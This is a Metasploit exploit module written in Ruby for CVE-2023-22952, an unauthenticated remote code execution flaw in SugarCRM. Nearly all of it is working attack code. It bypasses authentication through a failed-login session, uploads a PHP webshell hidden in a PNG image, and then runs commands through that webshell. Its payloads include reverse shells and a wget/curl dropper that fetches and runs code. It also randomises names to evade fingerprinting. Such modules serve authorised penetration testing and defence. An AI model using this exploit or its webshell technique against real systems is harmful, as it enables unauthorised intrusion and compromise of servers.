# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'securerandom'
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'securerandom'
class MetasploitModule < Msf::Exploit::Remote
Rank = GoodRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::FileDropper
include Msf::Exploit::Format::PhpPayloadPng
def initialize(info = {})
super(
update_info(
info,
'Name' => 'SugarCRM unauthenticated Remote Code Execution (RCE)',
'Description' => %q{
This module exploits CVE-2023-22952, a Remote Code Execution (RCE) vulnerability in SugarCRM 11.0 Enterprise,
Professional, Sell, Serve, and Ultimate versions prior to 11.0.5 and SugarCRM 12.0 Enterprise, Sell, and
Serve versions prior to 12.0.2.
The vulnerability occurs due to a lack of appropriate validation when uploading a malicious PNG file with
embedded PHP code to the /cache/images/ directory on the web server using the vulnerable endpoint
/index.php?module=EmailTemplates&action=AttachFiles. Once uploaded to the server, depending on server configuration,
the attacker can access the malicious PNG file via HTTP or HTTPS, thereby executing the malicious PHP code and
gaining access to the system.
This vulnerability does not require authentication because there is a missing authentication check in the
loadUser() method in include/MVC/SugarApplication.php. After a failed login, the session does not get
destroyed and hence the attacker can continue to send valid requests to the application.
Because of this, any remote attacker, regardless of authentication, can exploit this vulnerability to gain
access to the underlying operating system as the user that the web services are running as (typically www-data).
},
'Author' => [
'Sw33t.0day', # discovery
'h00die-gr3y <h00die.gr3y[at]gmail.com>' # Metasploit module
],
'References' => [
[ 'CVE', '2023-22952' ],
[ 'URL', 'https://seclists.org/fulldisclosure/2022/Dec/31' ],
[ 'URL', 'https://support.sugarcrm.com/Resources/Security/sugarcrm-sa-2023-001/' ],
[ 'URL', 'https://sugarclub.sugarcrm.com/engage/b/sugar-news/posts/jan-5-2023-security-vulnerability-update' ],
[ 'URL', 'https://attackerkb.com/topics/E486ui94II/cve-2023-22952' ],
[ 'PACKETSTORM', '170346' ]
],
'License' => MSF_LICENSE,
'Platform' => [ 'unix', 'linux', 'php' ],
'Privileged' => false,
'Arch' => [ ARCH_CMD, ARCH_PHP, ARCH_X64, ARCH_X86 ],
'Targets' => [
[
'PHP',
{
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Type' => :php,
'DefaultOptions' => {
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
}
}
],
[
'Unix Command',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Type' => :unix_cmd,
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_bash'
}
}
],
[
'Linux Dropper',
{
'Platform' => 'linux',
'Arch' => [ ARCH_X64, ARCH_X86 ],
'Type' => :linux_dropper,
'CmdStagerFlavor' => [ 'wget', 'curl', 'printf', 'bourne' ],
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2022-12-28',
'DefaultOptions' => {
'SSL' => false,
'RPORT' => 80
},
'Notes' => {
'Stability' => [ CRASH_SAFE ],
'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
'Reliability' => [ REPEATABLE_SESSION ]
}
)
)
register_options(
[
OptString.new('TARGETURI', [ true, 'SugarCRM base url', '/' ]),
OptString.new('WEBSHELL', [
false, 'The name of the webshell with extension to trick the parser like .phtml, .phar, etc. Webshell name will be randomly generated if left unset.', ''
]),
OptEnum.new('COMMAND', [ true, 'Use PHP command function', 'passthru', [ 'passthru', 'shell_exec', 'system', 'exec' ]], conditions: %w[TARGET != 0])
]
)
end
def authenticate
# generate PHP session-id
@phpsessid = "PHPSESSID=#{SecureRandom.uuid}"
# randomize user and password to obfuscate and make finger printing difficult.
user_name = Rex::Text.rand_name
user_password = Rex::Text.rand_text_alphanumeric(8..16)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),
'cookie' => @phpsessid.to_s,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
'module' => 'Users',
'action' => 'Authenticate',
'user_name' => user_name.to_s,
'user_password' => user_password.to_s
}
})
if res && res.code == 500 && !res.body.blank?
return true
else
return false
end
end
def upload_webshell
# randomize file name and extension if option WEBSHELL is not set
file_ext = ['phar', 'phtml']
if datastore['WEBSHELL'].blank?
@webshell_name = "#{Rex::Text.rand_text_alpha(8..16)}.#{file_ext.sample}"
else
@webshell_name = datastore['WEBSHELL'].to_s
end
# select webshell depending on the target setting (PHP or others).
@post_param = Rex::Text.rand_text_alphanumeric(1..8)
@get_param = Rex::Text.rand_text_alphanumeric(1..8)
if target['Type'] == :php
payload = "<?php @eval(base64_decode($_POST['#{@post_param}']));?>"
else
payload = "<?=$_GET['#{@get_param}'](base64_decode($_POST['#{@post_param}']));?>"
end
# inject PHP payload into the PLTE chunk of the PNG image
png_webshell = inject_php_payload_png(payload, injection_method: 'PLTE')
if png_webshell.nil?
return false
end
# construct multipart form data
form_data = Rex::MIME::Message.new
form_data.add_part('AttachFiles', nil, nil, 'form-data; name="action"')
form_data.add_part('EmailTemplates', nil, nil, 'form-data; name="module"')
form_data.add_part(png_webshell.to_s, 'image/png', 'binary', "form-data; name="file"; filename="#{@webshell_name}"")
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'index.php'),
'cookie' => @phpsessid.to_s,
'ctype' => "multipart/form-data; boundary=#{form_data.bound}",
'data' => form_data.to_s
})
if res && res.code == 200 && !res.body.blank?
# parse HTML to find the webshell name embedded in a table that indicates a successful upload
html = res.get_html_document
if html.at("td[contains("#{@webshell_name}")]")
return true
else
return false
end
else
return false
end
end
def execute_php(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
return send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'cache', 'images', @webshell_name),
'cookie' => @phpsessid.to_s,
'ctype' => 'application/x-www-form-urlencoded',
'vars_post' => {
@post_param => payload
}
})
end
def execute_command(cmd, _opts = {})
payload = Base64.strict_encode64(cmd)
php_cmd_function = datastore['COMMAND']
return send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(datastore['TARGETURI'], 'cache', 'images', @webshell_name),
'cookie' => @phpsessid.to_s,
'ctype' => 'application/x-www-form-urlencoded',
'vars_get' => {
@get_param => php_cmd_function
},
'vars_post' => {
@post_param => payload
}
})
end
def exploit
fail_with(Failure::NoAccess, 'Authentication bypass failed.') unless authenticate
fail_with(Failure::NotVulnerable, "Webshell #{@webshell_name} upload failed, the system is likely patched.") unless upload_webshell
register_file_for_cleanup(@webshell_name.to_s)
print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")
case target['Type']
when :php
execute_php(payload.encoded)
when :unix_cmd
execute_command(payload.encoded)
when :linux_dropper
execute_cmdstager(linemax: 65536)
end
end
end